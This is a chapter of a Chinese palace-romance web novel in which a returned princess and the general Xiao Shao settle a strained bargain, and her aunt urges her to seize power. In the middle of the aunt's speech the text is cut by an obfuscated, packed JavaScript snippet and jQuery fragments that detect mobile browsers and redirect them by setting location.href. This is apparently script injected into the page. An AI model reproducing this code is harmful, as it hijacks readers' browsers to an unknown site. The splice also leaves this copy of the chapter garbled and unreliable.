想起当时萧绍气愤的态度，她提出的交易几乎没有达成的可能性。即使他重新问起，虞静央也很难再抱有什么希望。


    “除了兄长和姑母，我只与你最熟悉了。”她轻声，语中含着歉意，“是我一时心急才唐突行事，你莫要介怀。”


    所以是因为没得选，她才会来找他？


    萧绍呼吸急促起来，脚下上前一步，逼得虞静央向后退，浸在水盆里的手也被迫移动，溅出的水花沾湿了她的衣袖。


    “你贵为公主，不管你当初怎么样，又或是做错了什么，只要你说一句话，多的是人愿意帮你，就连从来不参与朝堂争斗的苏昀都心甘情愿为你做事，这样还不够吗？为什么要对我说那样的话，自己作践自己！”


    萧绍离她越来越近，眸中燃着炽烈的火：“你能和那么多人相处如初，偏偏选择了与我‘交易’。难道在你心里，我就那样冷酷无情，是要用这种方式才能收买的人？”


    这才是他生气的原因。萧绍承认，从边境回来时，他确实想过再也不插手她的事，但这种念头仅仅过了几日，便被他自己又诚实地驳了回去。他根本做不到对她袖手旁观，明知不该，依旧放任自己，几次三番与她相见。


    萧绍不禁自问，难道他的态度还不够明显吗？他当然不希望她再回到南江受苦，遇到机会也尽力相助，她却看不清楚，一次次地试探他，甚至不惜以自己为筹码，说要同他“交易”。


    她早就忘记从前了，只把他当作一个普通的交易对象，不掺杂任何感情相关。他珍视多年的旧日情意，在她眼里一文不值。


    “虞静央，你——”


    萧绍突然感到一阵疲惫，靠在灶台边沿，补上未尽的话：“你回来之后，好像总是喜欢把我想得很坏。”


    可他明明没有改变什么。她离开五年，还没有机会重新了解他，为什么就默认他变得很坏很不堪了呢？


    虞静央急得蹙起眉头，辩解道：“我没有，你误会了！我之所以那样说，是因为……”


    不知想到了什么，她突然止住，眸中闪过一丝黯然，终于声音低涩，将早在心中盘旋的念头坦白：“近日萧侯与沈家走动频繁，他们都说你与沈七娘子好事将近。你说谣言为假，可萧侯毕竟是你的亲生父亲，我放不下心，最后只能出此下策。”


    虞静央眸子微红，里面藏着倔强，把那句难以启齿的话说了出来：“只要你答应了我，就能彻底断了你与沈家娘子的可能。这样，你就会一直帮我了。”


    雨又淅淅沥沥下了起来，微凉的风顺着窗缝吹进来，袍角轻动，萧绍抿着唇，方才的激愤也被雨水浇熄了。


    如果他与沈家有了姻亲关系，就不可避免地与晋王府生隙。一旦如此，他确实无法再在她的事上推波助澜，甚至可能要在关氏阵营面前摆出态度，成为催促她早回南江的一员。


    可这些后果他怎么会不清楚，又怎么会任由父亲摆弄，真的让这样的局面出现？她选用这种极端的方式，贸然说那种话刺激他，当真只是为了杜绝对自己不利的情况发生，而没有别的了吗？


    萧绍强行掐断自己的思绪，声音微哑：“我说过了，我绝不会与沈家结亲。我与我父亲的关系如何，你难道不清楚吗？”


    “我只是想让事情更稳妥一点。”虞静央低着头。


    如果不是被逼紧了，她又怎么会选这种不体面的方式，既伤了他，又辱了自己。


    水盆里的水不再冷了，被烫伤的手指也基本没了什么痛感。虞静央沉默着从水中抽出手，任由残留的水珠顺着指尖滑落，沾湿袖间披帛。


    雨势越来越大，声声敲打着窗棂，密密麻麻的雨点在石砖上汇聚，仿佛也落在了人的心上。墙边攀爬的凌霄花被击打得东倒西歪，垂头丧气地耷拉着花瓣，在风中摇摇欲坠。


    半晌，空旷的厨房里响起他的声音：“我答应你。”


    虞静央一震，愕然抬起头，见萧绍正望着她。他答应了她的交易，神情却十分冷静，既无缠绵情意，亦没有自甘沉沦的放纵。


    事实上，早在北桦林一事发生的次日，萧绍就已经想通了。既然已经打定主意助她一臂之力，不如一次说清让她安心，免得她整日胡思乱想，做伤人伤己的事，也利于他和她之间保持一个体面的关系。


    见她似是误会，他兀自移开目光，冷声道：“我只是答应帮你，不是答应你那荒唐的报酬。我没有那种独特的癖好，对他人之妻没兴趣。”


    他人之妻。


    虞静央眼睫颤了几下，心中先是大石落地的放松，随后升起一阵淡淡的自嘲。


    是了。萧绍近年久在边塞战场，虽成了武将，但也是在君子仪礼浸润下长大的世家子弟，骨子里的骄傲尚在，怎么能忍受躲在不见光的地方，与“他人之妻”暗通款曲？


    “多谢。”不管心中思绪如何纷杂，虞静央还是道。无论如何，她最大的目的都达到了。


    对于她的客套疏离，萧绍早已经习惯了，更清楚这才是她原本待他的态度，至于北桦林里的小意逢迎，那不是她难忘旧情，而是她为了拉拢他装出来的。


    “十几年，我以为你清楚我的性子。就算缘情已断，你不说，我也照样会帮你，哪怕是看在你哥哥的面子上。至于什么交易，我希望你再也不要提起。”


    萧绍神情冷峻，淡声道：“我自会为你谋划，以后若有机会，亦在陛下面前替你说话，你安心吧。”


    急雨过去，几句话的功夫再度渐小，有下人在外恭声询问，萧绍不再多留，径自率先出门。虞静央望着他离开，目光渐渐变得晦暗如墨。


    只是替我说话吗？


    不够，远远不够。你当为了我不顾一切的。


    缘情已断……


    想起他说那番话时的神色，虞静央心中轻道：阿绍，下次说这种绝情的话之前，记得要移开自己的眼睛。


    它会暴露你的心。


    ……


    药膳被打翻了一地，已经不能再吃，恰好到了用膳的时辰，虞静央只有吩咐下人另熬一份简单的白粥，跟着传膳的人回到正殿。


    长公主倚在软榻前，见她回来，问：“怎么，谈妥了？”


    这些事哪里瞒得住姑母那双毒辣的眼睛。虞静央没想着遮掩，走近在她身边坐下，小声道：“他说，他会帮我留下来。”


    长公主听了却微微诧异，追问：“只是这样？”


    虞静央点点头。长公主手拄着头哂笑一声，骂道：“蠢蛋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174923|131511||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。被抽上五十鞭子，恐怕嘴还是硬的。”


    起初虞静央没听懂，半晌才反应过来姑母说的是萧绍，心道：五十鞭不知道，反正二十军棍是已经打过了。


    她面上不显，故意问：“姑母的意思是……”


    长公主看了一眼她迷茫的神色，翘起唇角。


    “你走之后，继淮也没在玉京留多久，等到陈夫人下葬便离开了。他在青州待了三年，淮州待了两年，闯得一身战功不假，却也落了许多的伤。他想要功名，玉京多得是给他历练的机会，何必选这样苦的办法？”


    长公主此时心情不错，颇为耐心地继续说：“从养尊处优的公子哥，变成了黄沙地里打滚的糙小子。他只是想建功立业？明明还怀了疗愈情伤的心思。至于现在这伤究竟治愈了没有，你以为如何？”


    她在南江受苦，他也在边境遭罪，五年过去，他们倒是殊途同归了。


    想起适才萧绍又是不甘又是激愤的脸色，虞静央低下头：“阿绥不知……”


    “我不说，由你自己想。”


    长公主给了她一个了然的眼神，改说道：“明日该是个大晴天，你去崇宁宫一趟，同你父皇说说话。”


    崇宁宫是行宫里皇帝的寝宫。虞静央不解，下意识问：“为何？”


    长公主道：“你身为公主，即使年纪尚轻，不能像我一样入朝参政，至少也应该先把你应有的东西拿回来，免得受人看轻。”


    应有的东西……


    虞静央心中隐隐有了猜测，以为姑母是怕自己被欺负，宽慰道：“姑母放心，有哥哥时常照拂，没有人为难我的。”


    “没人为难，那匹马是自己发疯驮着你往悬崖上奔的？”


    “……”


    北桦林的事还历历在目，虞静央一时语塞，没能说话。


    长公主坐直身子，恨铁不成钢道：“你记住，永远不要想着依靠男人过一辈子，即便是你亲哥哥。只有自己手里有权有钱，你才能真正活得肆意，哪怕必须要去争，去抢，那也是值得的。”


    虞静央怔住。


    自从回到玉京，人人都以为她还是曾经那样单纯的性格，她为行事方便也乐得伪装，只扮作一副在外受尽苦楚的无害样子。就连自己的姑母，她也选择了隐瞒，却没想到今日能在这里听到一番这样的话。


    虞静央自小受宠爱长大，把长公主当作自己的半个母亲。一瞬之间，她几乎想要把自己的种种筹谋宣之于口，全部在这里和盘托出。


    但理智最终阻止了她。虞静央眸色轻闪，只问：“姑母不怕我生出不该有的野心吗？”


    “只要你不像五年前那样又祸害自己的亲手足，我管你有什么野心。”长公主望着她，多年保养得宜的面容没有几条细纹，只有随阅历而来的从容光采。


    “何为该，何为不该？谁人该有野心本无界定，只看你是否真有搅弄风云之能。”


    言外之意就是：野心该不该有，关键要看能否成事。只要最终结局是成功，过程不择手段一点又何妨？


    虞静央展颜一笑：“姑母，我明白了。”


    “还算不笨。”


    屏风外，晚膳已经悉数布好，长公主从软榻起身：“行了，吃饭。”